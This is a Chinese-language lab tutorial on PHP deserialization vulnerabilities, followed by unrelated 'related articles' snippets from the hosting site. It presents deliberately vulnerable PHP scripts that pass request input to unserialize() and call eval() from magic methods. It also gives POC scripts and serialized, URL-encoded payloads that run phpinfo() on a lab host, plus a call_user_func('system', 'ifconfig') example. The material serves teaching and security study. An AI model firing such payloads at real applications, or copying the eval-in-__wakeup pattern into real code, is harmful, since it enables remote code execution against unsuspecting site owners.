反序列化漏洞(1), 原理, 实验, 魔术方法

反序列化漏洞(1), 原理, 实验, 魔术方法

一, 介绍

反序列化漏洞是一种存在于反序列化过程中的漏洞,它允许攻击者通过控制反序列化的数据来操纵序列化对象,并将有害数据传递给应用程序代码。

这种漏洞可能造成代码执行、获取系统权限等一系列不可控的后果。在PHP、Java、Python等语言中都存在这种反序列化漏洞。

在PHP中,反序列化漏洞主要出现在对用户输入的反序列化字符串没有进行正确检测和过滤的情况下,这可能导致恶意攻击者通过控制反序列化的数据来执行任意的PHP代码。

二, 漏洞实验

1. 实验1, 基本原理
(1) 准备后端php脚本basic.php
<?php
class People {var $name = ''; var $sex = '';var $age = 0;var $addr = '';// 魔术方法:__construct,指类在实例化的时候会,自动调用function __construct($name='张三', $sex='男', $age=30, $addr='成都高新区') {$this->name = $name;$this->sex = $sex;$this->age = $age;$this->addr = $addr;echo "正在初始化. <br/>";}// 魔术方法:__destruct,代码运行结束时,类的实例从内存中释放时,自动调用function __destruct() {echo "正在释放资源. <br/>";}// 魔术方法:__sleep,在类实例被序列化时,自动调用function __sleep() {echo "正在序列化. <br/>";// 返回一个由序列化类的属性名构成的数组return array('name', 'sex', 'age', 'addr');}// 魔术方法:__wakeup,在字符串被反序列化成对象时,自动调用// 反序列化时不会自动调用__construct,同时,调用完__wakeup后,仍然会调用__destructfunction __wakeup() {echo "正在被反序列化. <br/>";}function getName() {echo $this->name . "<br/>";}
}class Test {public $phone = '';var $ip = '';public function __wakeup () {$this->getPhone();}public function __destruct() {echo $this->getIp();}public function getPhone() {echo $this->phone;@eval($this->phone);}public function getIp() {echo $this->ip;}
}$source = $_POST['source'];
$p2 = unserialize($source);
?>

上面的代码定义了两个类 PeopleTest , post方法的source参数用户可控, unserialize 方法将source传入的字符串进行反序列化.
反序列化开始后, 先调用__wakeup方法, 再调用__destruct方法.
那么攻击者可以通过输入source参数来控制后端实例化某个对象, 实例化的对象会自动调用__wakeup方法.

(2) 利用漏洞.

下面的post请求使后端php代码实例化Test对象, 传入对象的属性phone的值为phpinfo();, 接着自动调用 __wakeup 方法, 调用getPhone方法,
@eval($this->phone); 通过eval函数执行phpinfo().
那么通过post提交不同的对象属性值即可执行不同的命令.

url: http://192.168.112.200/security/unserial/basic.php
payload: source=O:4:"Test":1:{s:5:"phone";s:10:"phpinfo();";}

当然自己手动来写序列化后的字符串容易出错, 我们可以制作一个php脚本POC, 用来把序列化后的字符串显示出来再使用.

class Test{public $phone = '';var $ip = '';
}
$t = new Test();
$t->phone = 'phpinfo();';
$t->ip = "127.0.0.2';
echo serialize($t);
2. 实验2, 编写POC
(1) 后端php脚本

ustest-1.php

<?phpclass Csdn {var $a;function __construct() {$this->a = new Test();}function __destruct() {$this->a->hello();}
}class Test {function hello() {echo "Hello World.";}
}class Vul {var $data;function hello() {@eval($this->data);}
}unserialize($_GET['code']);?>
(2) 编写poc脚本获取序列化字符串

我们最终需要调用Vule的hello方法来执行命令.
虽然在源码中Csdn__construct生成的是Test对象, 我们可以通过自己构造一个poc脚本改成Vul对象, 这样就能在后续的__destruct方法中调用到Vul对象的hello方法, 而不是原本Testhello方法.
poc脚本的关键在于修改Csdn的属性a, 和Vul的属性data.

<?phpclass Csdn {var $a;function __construct() {$this->a = new Vul();}
}class Vul {var $data = "phpinfo();";
}echo serialize(new Csdn());?>

结果:

O:5:"Csdn":1:{s:1:"a";O:3:"Vul":1:{s:4:"data";s:10:"phpinfo();";}}
(3) 利用漏洞

发送GET请求:

192.168.112.200/security/unserial/ustest-1.php
?code=O:5:"Csdn":1:{s:1:"a";O:3:"Vul":1:{s:4:"data";s:10:"phpinfo();";}}
3. 实验3 带有访问修饰符的变量
(1)后端php脚本
<?php
class Csdn {private $a; // 访问修饰function __construct() {$this->a = new Test();}function __destruct() {$this->a->hello();}
}class Test {function hello() {echo "Hello World.";}
}class Vul {protected $data; // 访问修饰function hello() {@eval($this->data);}
}unserialize($_GET['code']);
?>
(2) 编写poc脚本获取序列化字符串

需要注意poc中的变量修饰需要跟后端的类定义保持一直才有效.

<?phpclass Csdn {private $a;function __construct() {$this->a = new Vul();}
}class Vul {protected $data = "phpinfo();";
}echo serialize(new Csdn());?>

结果:

O:5:"Csdn":1:{s:8:"Csdna";O:3:"Vul":1:{s:7:"*data";s:10:"phpinfo();";}}

从结果中发现序列化后的数据和长度不一致, 比如s:8:"Csdna";, 所以这里的字符串还不是有效的, 直接复制出来无法使用.

这是因为对于私有修饰的变量, 序列化后会将变量所属的类名也带上, 且中间有一个不可见的分隔符%00.
s:7:"*data";这里的长度看起来也不对, 这里也存在不可见字符没有显示出来. 通过查看源码可以看到不可见的字符位置. 对于不可见字符无法直接复制出来使用.

对于这种情况, 需要对序列化后的字符串进行url编码.

echo urlencode(serialize(new Csdn()));

结果:

O%3A5%3A%22Csdn%22%3A1%3A%7Bs%3A8%3A%22%00Csdn%00a%22%3BO%3A3%3A%22Vul%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
(3) 利用漏洞

发送GET请求:

192.168.112.200/security/unserial/ustest-1.php
?code=O%3A5%3A%22Csdn%22%3A1%3A%7Bs%3A8%3A%22%00Csdn%00a%22%3BO%3A3%3A%22Vul%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

三, 反序列化相关的魔术方法

1. 反序列化的常见起点:

__wakeup(): 当一个对象被反序列化(unserialize)时,__wakeup方法会被自动调用。这个方法通常用于重新建立数据库连接或执行其他初始化操作。
__destruct(): 这个方法在对象销毁时调用。虽然它不是反序列化的直接部分,但是它可能在反序列化对象的生命周期结束时被触发。
__toString(): 如果一个被反序列化的对象被当做字符串使用,例如在echo语句中,__toString方法会被调用。它允许对象决定如何响应字符串化。

2. 反序列化的常见中间跳板:

__toString(): 如上所述,这个方法在对象被当作字符串处理时调用。
__get(): 当读取对象中不可访问或不存在的属性时,会调用这个方法。它可以用于拦截这些属性的读取操作。
__set(): 类似于__get,但这个方法在给不可访问或不存在的属性赋值时被调用。
__isset(): 当对不可访问或不存在的属性使用isset()或empty()函数时,此方法被调用。它通常用于检查一个属性是否设置。

3. 反序列化的常见终点:

__call(): 当尝试调用对象中不可访问或不存在的方法时,会调用此方法。
call_user_func(): 这是PHP的一个函数,用于调用回调函数。在反序列化中,它可能被用来执行某些动作。
call_user_func_array(): 类似于call_user_func,但它允许传递参数数组给回调函数。

在一些web框架中经常会使用 call_user_func_array() 函数来执行php代码, 而不是直接使用eval函数.以下是一些代码案例:

<?phpfunction demo($a, $b) {echo $a + $b;echo "<br/>";
}class Test {function add($a, $b) {echo $a + $b;echo "<br/>";}function __call($name, $args) {echo $name . " 方法不存在. <br/>";var_dump($args) . "<br/>";}
}// 使用 call_user_func 调用
call_user_func('demo', 100, 200);
call_user_func(array('Test', 'add'), 1000, 2000);// call_user_func_array函数和call_user_func很相似,只是换了一种方式传递参数,让参数的结构更清晰
call_user_func_array('demo', array(120, 220));
call_user_func_array(array('Test', 'add'), array(1200, 2200));// 当调用不存在的方法时,__call会被触发
$t = new Test();
$t->minus(111,222);call_user_func('system', 'ifconfig');
call_user_func_array('system', [new Test(), 'ifconfig']);?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/145558.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【ES6标准入门】JavaScript中的模块Module的加载实现:循环加载和Node加载,非常详细,建议收藏!!!

&#x1f601; 作者简介&#xff1a;一名大四的学生&#xff0c;致力学习前端开发技术 ⭐️个人主页&#xff1a;夜宵饽饽的主页 ❔ 系列专栏&#xff1a;JavaScript进阶指南 &#x1f450;学习格言&#xff1a;成功不是终点&#xff0c;失败也并非末日&#xff0c;最重要的是继…

IDEA写mybatis程序,java.io.IOException:Could not find resource mybatis-config.xml

找不到mybatis-config.xml 尝试maven idea:module&#xff0c;不是模块构造问题 尝试检验pom.xml&#xff0c;在编译模块添加了解析resources内容依旧不行 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.or…

chrome 浏览器个别字体模糊不清

特别是在虚拟机里&#xff0c;有些字体看不清&#xff0c;但是有些就可以&#xff0c;设置办法&#xff1a; chrome://settings/fonts 这里明显可以看到有些字体就是模糊的状态&#xff1a; 把这种模糊的字体换掉即可解决一部分问题。 另外&#xff0c;经过观察&#xff0c;…

【C++】数组中出现次数超过一半的数字

代码&#xff1a; class Solution { public:/*** 代码中的类名、方法名、参数名已经指定&#xff0c;请勿修改&#xff0c;直接返回方法规定的值即可** * param numbers int整型vector * return int整型*/int MoreThanHalfNum_Solution(vector<int>& numbers) {int …

h5(react ts 适配)

一、新建项目并放在码云托管 1、新建项目&#xff1a;react ts h5 考虑到这些 用 create-react-app 脚手架来搭建项目。 首先&#xff0c;确保你已经安装了 Node.js。如果没有安装&#xff0c;请先从官方网站 https://nodejs.org/ 下载并安装 Node.js。打开命令行工具&#x…

vue3 + ts项目(无vite)报错记录

记录项目创建后遇到的报错 1.类型“Window & typeof globalThis”上不存在属性“_CONFIG”。ts(2339) 问题描述&#xff1a; 使用全局 window 上自定义的属性&#xff0c;TypeScript 会报属性不存在 解决&#xff1a;需要将自定义变量扩展到全局 window 上&#xff0c…

word文档转换为ppt文件,怎么做?

大家是否会遇到需要将word文档转换为ppt文件的情况&#xff1f;除了反反复复粘贴复制以外&#xff0c;还有其他方法可以转换文件格式&#xff0c;今天给大家分享word转换ppt方法。 首先我们先将word文件打开大纲模式 然后我们将文中的大标题设置为1级标题&#xff0c;副标题设…

服务器集群配置LDAP统一认证高可用集群(配置tsl安全链接)-centos9stream-openldap2.6.2

写在前面 因之前集群为centos6&#xff0c;已经很久没升级了&#xff0c;所以这次配置统一用户认证也是伴随系统升级到centos9时一起做的配套升级。新版的openldap配置大致与老版本比较相似&#xff0c;但有些地方配置还是有变化&#xff0c;另外&#xff0c;铺天盖地的帮助文…

已安装的nginx追加ssl模块

Nginx开启SSL模块1 切换到源码包&#xff1a; cd /usr/local/src/nginx-1.11.3 2 查看nginx原有的模块 /usr/local/nginx/sbin/nginx -V 在configure arguments:后面显示的原有的configure参数如下&#xff1a; –prefix/usr/local/nginx --with-http_stub_status_module …

C/C++高频面经-秋招篇

自己在秋招找工作过程中遇到的一些C/C面试题&#xff0c;大中小厂都有&#xff0c;分享出来&#xff0c;希望能帮到有缘人。 C语言 snprintf()的使用 函数原型为int snprintf(char *str, size_t size, const char *format, …) 两点注意&#xff1a; (1) 如果格式化后的字符…

对于koa中间件的理解

洋葱模型 大家都知道koa是洋葱模型&#xff0c;先一层一层通过next往下&#xff0c;之后再回去执行next后面的内容&#xff0c;next即使没写&#xff0c;最后也会进入下一个中间件。 那么什么是ctx呢&#xff0c;ctx顾名思义就是上下文&#xff0c;也就是上一层传给下一层的东…

【广州华锐互动】消防安全宣传知识3D交互展示提升公众学习沉浸感

随着科技的快速发展&#xff0c;我们的生活与工作环境愈发复杂&#xff0c;火灾风险也随之提高。为了提高公众的消防灭火能力&#xff0c;普及消防安全知识&#xff0c;广州华锐互动开发了消防安全宣传知识3D交互展示系统。 这是一种全新的教育方式&#xff0c;它利用3D技术&am…

【EI会议征稿】第三届图像,信号处理与模式识别国际学术会议(ISPP 2024)

第三届图像&#xff0c;信号处理与模式识别国际学术会议&#xff08;ISPP 2024) 2024 3rd International Conference on Image, Signal Processing and Pattern Recognition&#xff08;ISPP 2024&#xff09; 第三届图像&#xff0c;信号处理与模式识别国际学术会议&#xf…

WPF的总体架构、类对象结构介绍

一、WPF总体结构 Windows Presentation Foundation (WPF) 是 Microsoft .NET Framework 的一部分&#xff0c;用于构建丰富的桌面应用程序。它提供了一种统一的编程模型&#xff0c;用于构建现代的用户界面。 以下是 WPF 的主要组件和其关系&#xff1a; PresentationFramewo…

Cow Lineup S——离散化、单调队列、双指针

题目描述 思路 x、id不大于1亿&#xff0c;数据量太大&#xff0c;使用离散化将id离散化成一串从1开始连续的编号&#xff0c;使用map集合进行离散化使用双指针维护一段区间&#xff0c;这段区间满足每个编号都包含 如何使用map集合进行离散化&#xff1f; 维护一个变量nums…

工业镜头中的远心镜头与普通镜头的光路

普通镜头&#xff1a; 主光线与镜头光轴有角度&#xff0c;工件上下移动时&#xff0c;像的大小有变化。 FOV&#xff1e;镜头前端直径。 物方远心镜头&#xff1a; 物方主光线平行于光轴&#xff0c;物距发生改变时&#xff0c;像高不会发生改变&#xff0c;测得的物体尺寸大…

Redis缓存穿透、击穿、雪崩

一、Redis的缓存穿透 1.什么是缓存穿透&#xff1f; 缓存穿透是指&#xff1a;客户端请求的数据在缓存中和数据库中都不存在&#xff0c;这时缓存就永远不会生效&#xff0c;这些请求都打到数据库从而导致数据库压力过大。 2.出现缓存穿透的解决方案&#xff0c;以下是常用的两…

redis运维(五)再探redis

一 redis概述 ① redis简介 redis三大特性&#xff1a; 缓存、分布式内存数据库、持久化说明&#xff1a;非必须不建议在redis终端操作 ② redis亮点 ③ 初露锋芒 redis-benchmark redis-benchmark并发压力测试的问题解析 备注&#xff1a;多次测试取平均值,最好在物理机…

JVM内存模型:理解Java程序的内存管理

JVM内存模型&#xff1a;理解Java程序的内存管理 在Java编程中&#xff0c;JVM&#xff08;Java虚拟机&#xff09;是程序的运行环境&#xff0c;它负责管理程序的内存。JVM内存模型是Java语言规范中定义的一套规则&#xff0c;用于描述在JVM中程序如何通过内存来交互和操作。…

如何通过数据治理来提升业务价值——业务场景治理

数据治理&#xff0c;一方面是为了对数据的规范管理和控制&#xff0c;还有一方面是让数据能够为业务提供服务和创造价值。近些年来&#xff0c;随着数据治理技术发生着日新月异的变化&#xff0c;行业对数据治理的需求和指导也被逐步推进和实践&#xff0c;从宏观上看&#xf…